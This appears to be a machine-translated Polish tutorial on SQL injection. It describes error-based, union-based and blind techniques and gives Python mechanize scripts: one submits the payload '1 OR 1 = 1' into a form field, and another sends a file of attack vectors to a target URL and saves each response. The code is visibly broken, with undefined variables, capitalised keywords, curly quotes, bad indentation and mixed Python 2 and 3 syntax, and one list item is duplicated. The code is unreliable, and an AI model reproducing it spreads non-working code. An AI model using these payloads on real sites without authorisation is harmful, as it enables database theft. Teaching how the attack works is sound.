Testy penetracyjne Pythona - SQLi Web Attack

Wstrzyknięcie SQL to zestaw poleceń SQL, które są umieszczane w ciągu adresu URL lub w strukturach danych w celu pobrania żądanej odpowiedzi z baz danych połączonych z aplikacjami internetowymi. Ten typ ataku ma zwykle miejsce na stronach internetowych stworzonych przy użyciu PHP lub ASP.NET.

Atak z iniekcją SQL można przeprowadzić z następującymi intencjami -

  • Modyfikowanie zawartości baz danych

  • Modyfikowanie zawartości baz danych

  • Wykonywanie różnych zapytań, które nie są dozwolone przez aplikację

Ten typ ataku działa, gdy aplikacje nie sprawdzają poprawnie danych wejściowych przed przekazaniem ich do instrukcji SQL. Iniekcje są zwykle umieszczane w paskach adresu, polach wyszukiwania lub polach danych.

Najłatwiejszym sposobem wykrycia, czy aplikacja internetowa jest podatna na atak polegający na wstrzyknięciu SQL, jest użycie znaku „” ”w ciągu znaków i sprawdzenie, czy wystąpił jakiś błąd.

Rodzaje ataku SQLi

W tej sekcji poznamy różne rodzaje ataków SQLi. Atak można podzielić na następujące dwa typy -

  • Wstrzykiwanie SQL wewnątrz pasma (Simple SQLi)

  • Inferencyjne wstrzyknięcie SQL (Blind SQLi)

Wstrzykiwanie SQL wewnątrz pasma (Simple SQLi)

Jest to najczęstszy iniekcja SQL. Ten rodzaj iniekcji SQL ma miejsce głównie wtedy, gdy osoba atakująca jest w stanie użyć tego samego kanału komunikacyjnego do przeprowadzenia ataku i zebrania wyników. Wstrzyknięcia SQL w paśmie są dalej podzielone na dwa typy -

  • Error-based SQL injection - Technika iniekcji SQL oparta na błędach polega na wyświetlaniu komunikatu o błędzie przez serwer bazy danych w celu uzyskania informacji o strukturze bazy danych.

  • Union-based SQL injection - Jest to kolejna technika in-band SQL injection, która wykorzystuje operator UNION SQL do łączenia wyników dwóch lub więcej instrukcji SELECT w jeden wynik, który jest następnie zwracany jako część odpowiedzi HTTP.

Inferencyjne wstrzyknięcie SQL (Blind SQLi)

W tego rodzaju ataku SQL injection osoba atakująca nie jest w stanie zobaczyć wyniku ataku w paśmie, ponieważ żadne dane nie są przesyłane za pośrednictwem aplikacji internetowej. Z tego powodu jest również nazywany Blind SQLi. Inferencyjne iniekcje SQL są ponadto dwojakiego rodzaju -

  • Boolean-based blind SQLi - Ten rodzaj techniki polega na wysłaniu zapytania SQL do bazy danych, co zmusza aplikację do zwrócenia innego wyniku w zależności od tego, czy zapytanie zwraca wynik PRAWDA czy FAŁSZ.

  • Time-based blind SQLi- Technika ta polega na wysłaniu zapytania SQL do bazy danych, co zmusza bazę danych do oczekiwania przez określony czas (w sekundach) przed udzieleniem odpowiedzi. Czas odpowiedzi wskaże atakującemu, czy wynik zapytania jest PRAWDA, czy FAŁSZ.

Przykład

Wszystkie typy SQLi można zaimplementować poprzez manipulowanie danymi wejściowymi do aplikacji. W poniższych przykładach piszemy skrypt w języku Python, który wstrzykuje wektory ataku do aplikacji i analizuje dane wyjściowe, aby zweryfikować możliwość ataku. Tutaj użyjemy modułu Pythona o nazwiemechanize, co daje możliwość uzyskiwania formularzy internetowych na stronie internetowej i ułatwia także wprowadzanie wartości wejściowych. Wykorzystaliśmy również ten moduł do walidacji po stronie klienta.

Poniższy skrypt w języku Python ułatwia przesyłanie formularzy i analizowanie odpowiedzi za pomocą mechanize -

Przede wszystkim musimy zaimportować plik mechanize moduł.

import mechanize

Teraz podaj nazwę adresu URL do uzyskania odpowiedzi po przesłaniu formularza.

url = input("Enter the full url")

Poniższy wiersz kodów otworzy adres URL.

request = mechanize.Browser()
request.open(url)

Teraz musimy wybrać formularz.

request.select_form(nr = 0)

Tutaj ustawimy nazwę kolumny „id”.

request["id"] = "1 OR 1 = 1"

Teraz musimy przesłać formularz.

response = request.submit()
content = response.read()
print content

Powyższy skrypt wydrukuje odpowiedź na żądanie POST. Przesłaliśmy wektor ataku, aby przerwać zapytanie SQL i wydrukować wszystkie dane w tabeli zamiast jednego wiersza. Wszystkie wektory ataku zostaną zapisane w pliku tekstowym, np. Vectors.txt. Teraz podany poniżej skrypt Pythona pobierze te wektory ataku z pliku i wyśle ​​je jeden po drugim na serwer. Zapisuje również dane wyjściowe do pliku.

Na początek zaimportujmy moduł mechanize.

import mechanize

Teraz podaj nazwę adresu URL do uzyskania odpowiedzi po przesłaniu formularza.

url = input("Enter the full url")
   attack_no = 1

Musimy odczytać wektory ataku z pliku.

With open (‘vectors.txt’) as v:

Teraz wyślemy żądanie z każdym wektorem araku

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Teraz następujący wiersz kodu zapisze odpowiedź do pliku wyjściowego.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Sprawdzając i analizując odpowiedzi, możemy zidentyfikować możliwe ataki. Na przykład, jeśli zawiera odpowiedź zawierającą zdanieYou have an error in your SQL syntax oznacza to, że na formularz może mieć wpływ wstrzyknięcie SQL.